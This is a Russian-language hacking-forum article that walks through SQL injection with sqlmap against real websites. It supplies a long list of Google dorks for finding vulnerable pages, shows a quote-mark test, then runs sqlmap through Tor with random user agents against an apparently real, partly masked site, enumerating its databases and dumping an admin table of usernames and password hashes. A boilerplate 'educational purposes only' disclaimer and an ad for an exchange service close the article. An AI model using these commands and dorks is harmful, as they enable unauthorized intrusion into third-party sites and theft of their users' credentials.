Используем SQL инъекции на практике
CYBER_HATПриветствую, друг!
В связи с участившимися вопросами про SQL инъекции [sqlmap] я решил сделать статью с подробной инструкцией.
Что же такое SQL injection и Sqlmap?
Внедрение SQL-кода (SQL injection) - один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
Sqlmap - это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатации уязвимости SQL-инъекця и захват серверов баз данных. Он поставляется с мощным движком выявления и многими нишевыми функциями для конечного тестера на проникновение, имеет широкий набор возможностей, начиная от сбора отпечатков баз данных по полученной от них данным, до доступа к файловой системе и выполнения команд в операционной системе посредством внеполосных (out-of-band) подключений.
Фишки Sqlmap:
- Извлечение имен пользователей, хешей их паролей, а также привилегий и полей.
- Автоматическое распознавание типа используемого хеша и возможность взлома его с помощью брутфорса по словарю.
- Получение списка баз данных, таблиц и столбцов.
- Возможность сделать полный или частичный дамп базы данных.
- Продвинутый механизм поиска баз, таблиц или даже столбцов (по всем базам сразу), что может быть полезно для определения таблиц с "интересными" данными вроде имен пользователей (users) или паролей (pass).
- Загрузка или, наоборот, закачка произвольных файлов на сервер, если уязвимое веб-приложение использует MySQL, MySQL, PostreSQL или Microsoft SQL Server.
- Выполнение произвольных команд и получение шелла, если на хосте используется одна из СУБД, перечисленных в предыдущем пункте.
- Поддержка прямого подключения к базе данных (без явного использования SQL-уязвимости) с использованием полученных в ходе атаки имени и пароля пользователя для доступа к DMBS, а также IP-адреса, порта и имени базы данных.
- Установка надежного TCP-соединения (так называемого out-ofband) между машиной пентестера и хостом, на котором запущен сервер баз данных. В качестве обертки для этого канала может стать интерактивная командная строка (шелл), сессия Meterpreter или доступ к удаленному рабочему столу через VNC-подключение.
- Повышение привилегий для процесса базы данных через команду getsystem Metasploit’а, которая, помимо прочих, реализует известную технику kitrap0d (MS10-015).
Установка Sqlmap
Данная утилита уже по стандарту установлена в kali linux, но если у вас её нет - вы можете установить её путем клонирования репозитория github:
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Sqlmap поставляется с различными параметрами, которые можно применять для поиска уязвимостей SQL-инъекций в целевом узле. Эти параметры можно изучить с помощью следующих команд:
python sqlmap.py -h
python sqlmap.py -hh
Поиск уязвимых сайтов
Поиск уязвимого сайта будет осуществятся через Google Dorks.
Просто вставляем любую одну из строк ниже в гугл и открываем любезно выданные ссылки потенциально уязвимых сайтов (одну строку это имеется виду, допустим inurl:item_id= ):
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id= inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id= inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr= inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id= inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id= inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID= inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?= inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id= inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id= inurl:event.php?id= inurl:eek:pinions.php?id= inurl:publications.php?id= inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id= inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id= inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id= inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id= inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id= inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id= inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id= inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id= inurl:buy.php?category= inurl:eek:ffer.php?idf= inurl:releases.php?id= inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id= inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id= inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id= inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id= inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id= inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id= inurl:newsDetail.php?id= inurl:eek:gl_inet.php?ogl_id= inurl:viewshowdetail.php?id= inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id= inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id= inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id= inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id= inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id= inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id= inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id= inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID= inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id= inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id= inurl:forum_bds.php?num= inurl:eek:pinions.php?id= inurl:channel_id= inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id= inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id= inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id= inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id= inurl:news.php?id= inurl:participant.php?id= inurl:avd_start.php?avd= inurl:download.php?id= inurl:event.php?id= inurl:main.php?id= inurl:product-item.php?id= inurl:review.php?id= inurl:sql.php?id= inurl:chappies.php?id= inurl:material.php?id= inurl:read.php?id= inurl:clanek.php4?id= inurl:prod_detail.php?id= inurl:announce.php?id= inurl:viewphoto.php?id= inurl:chappies.php?id= inurl:article.php?id= inurl:read.php?id= inurl:person.php?id= inurl:viewapp.php?id= inurl:productinfo.php?id= inurl:viewphoto.php?id= inurl:showimg.php?id= inurl:rub.php?idr= inurl:view.php?id= inurl:galeri_info.php?l= inurl:website.php?id=
Проверяем, уязвим ли сайт к SQL-инъекцииям
Для этого просто в адресной строке браузера, после цифр, ставим одинарную ковычку:
www.cor*og*ncl*rk.com/newsitem.php?id=8‘
И если сайт выдаст вам ошибку по типу:
То поздравляю, вы нашли сайт, уязвимый к SQL-инъекцииям.
Получение структуры базы данных.
Переходим непосредственно к процессу эксплуатации инъекции на обнаруженном нами сайте. В работе с sqlmap есть достаточно много различных ньюансов, и разберём мы базовые.
Запускаем сервера tor:
tor
После чего прописываем в терминал:
python sqlmap.py -u [уязвимый сайт] --dbs --tor --random-agent
Объяснение к опциям:
- -u задаёт целевой адрес (вводится обязательно с протоколом http/https)
- -- dbs - параметр для получения имён баз данных
- -- tor запустит соединение через тор
- -- random-agent позволит утилите использовать случайный http-заголовок для передачи серверу.
Успех! Мы узнали название баз данных.
В базе information_schema нет ничего интересного, это стандартная база mysql, поэтому мы перейдём к анализу "cordoganclarknew".
Исключаем параметр -- dbs и вместо него используем -- tables. Так же, добавляем новый ключ -D, который задаёт имя сканируемой базы. Этот запрос выдаст нам все таблицы базы "cordoganclarknew". В итоге мы получаем:
sqlmap -u [уязвимый сайт] -D cordoganclarknew --tables --tor --random-agent
Получаем таблицы:
И сразу же мы видим таблицу "auth_user_md5". Очевидно, что нам необходимо получить её. Получаем названия столбцов базы:
sqlmap -u [уязвимый сайт] -D cordoganclarknew -T auth_user_md5 --columns --tor --random-agent
Теперь читаем данные из таблицы, и сохраняем их на свой жёсткий диск:
sqlmap -u [уязвимый сайт] -D cordoganclarknew -T auth_user_md5 --dump --tor --random-agent
В итоге, получаем заветный логин и хеш пароля, для админки сайта:
А как расшифровать хеш пароля ищите в интернете, дальше показывать уже запрещено.
Спасибо за прочтение, надеюсь статья была полезна.
ExWex - обменник твоей мечты (КЛИК)
Дисклеймер: мы не призываем Вас к каким-либо действиям, статья написана исключительно в ознакомительных целях, мы не несем никакой ответственности за Ваши действия, все персонажи вымышлены, любое сходство с реальными людьми случайно!